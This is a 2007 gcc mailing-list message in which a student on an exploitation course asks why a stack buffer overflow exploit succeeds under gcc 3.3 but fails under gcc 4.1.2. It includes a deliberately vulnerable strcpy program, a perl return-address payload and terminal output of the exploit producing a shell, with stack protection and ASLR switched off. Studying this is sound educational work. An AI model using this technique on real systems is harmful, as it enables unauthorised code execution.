[Fwd: Re: Stack protection mechanisms in 4.0+/4.1.2?]

[IceDane <icedane at gmail dot com>]

--- Begin Message ---

• From: IceDane <icedane at gmail dot com>
• To: Andrew Haley <aph-gcc at littlepinkcloud dot COM>
• Date: Mon, 15 Oct 2007 20:18:04 +0200
• Subject: Re: Stack protection mechanisms in 4.0+/4.1.2?
• References: <4711149D.1040906@gmail.com> <18195.13217.200798.500348@zebedee.pink>

Andrew Haley wrote:

IceDane writes:
> Hey there.
> > A course in my school involves exploitation of various vulnerabilities, > such as buffer overflows and format string vulnerabilities and so on.
> > I'm currently running kbuntu, latest version, which comes with gcc 4.1.2 > stock. If I compile a vulnerable program(A simple strcpy of argv[1] to a > small buffer) and then attempt to execute an exploit, no matter what i > do, it fails.
> > I realize that the ubuntu gcc 4.1.2 compiles with the -fstack-protector > as default, however, even if I use -fno-stack-protector, the problem > still prevails.
> > All kernels since 2.6 also come with virtual address space randomization > as default, and I've disabled that.
> > Anyway, I found something that said if you installed gcc 3.3, you'd be > fine. I try that, and voila, exploit executes accordingly.
> > Now, I ask - What is it, other than the -fstack-protector flag, which > can disable buffer overflow exploits like that in gcc?

I suspect that the stack layout has changed, and so your exploit no
longer works.  What happened whan you single-stepped through the
exploint injection in gdb?

Andrew.

Well, first time I discovered there was either something in the 2.6 kernel or in gcc, I was on slackware 12.0. I tried to exploit the same vulnerability as above, by trying to overwrite the return address with the address of an environment variable. Failing that, I single stepped through(Even through a 200 iteration loop in strcpy) the code, and everything seemed in order. And seemingly, the address of the shellcode was put in EIP on ret.
However, and here comes the strange stuff, instead of executing the instructions at the address in EIP, it put 4 bytes of the shellcode in EIP. Eg, if there were NOPs located at the address, it would contain 4 bytes of NOPs. If I miscalculated the address of the shellcode, it would also contain parts of the environment variable name, such as "ODE=", being the last four bytes in "SHELLCODE=".

Anyway, then I simply installed Kubuntu, as I was completely unable to make it work. If I do it here, the same value keeps popping up in eip. Here's an excerpt from my shell compiling the vulnerability with gcc 4.1.2 and gcc 3.3 respectively:

$ cat vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
        char buffer[500];

strcpy(buffer, argv[1]);

        return 0;
}

$ gcc vuln.c -o vuln -fno-stack-protector
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffff968
$ ./vuln `perl -e 'print "\x68\xf9\xff\xbf"x500'`
Segmentation fault (core dumped)
Core was generated by `*garbage*'.
Program terminated with signal 11, Segmentation fault.
#0  0x3137353d in ?? ()

Now, to demonstrate how this is perfectly valid to exploit with gcc 3.3:

$ gcc3 vuln.c -o vuln
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffff968
$ pcalc 0x5*2
        10              0xa             0y1010
$ pcalc 0x68 - 0xa
        94              0x5e            0y1011110
$ ./vuln `perl -e 'print "\x5e\xf9\xff\xbf"x500'`
$ whoami
icedane
$ exit

Note that the address of the environment variable is dependent on the name of the executable. vuln is 4 chars, while getenvaddr is 10 chars, so the address is diff*2 bytes less because getenvaddr is longer than vuln. If vuln were longer, it'd be the other way around.

Anyway, the error I got on slackware I figured out to only be possible IF the shellcode itself somehow overwrote the return address on the stack. That was impossible, however, as we do not modify the shellcode when it's lying on the stack.

So, any ideas?



--- End Message ---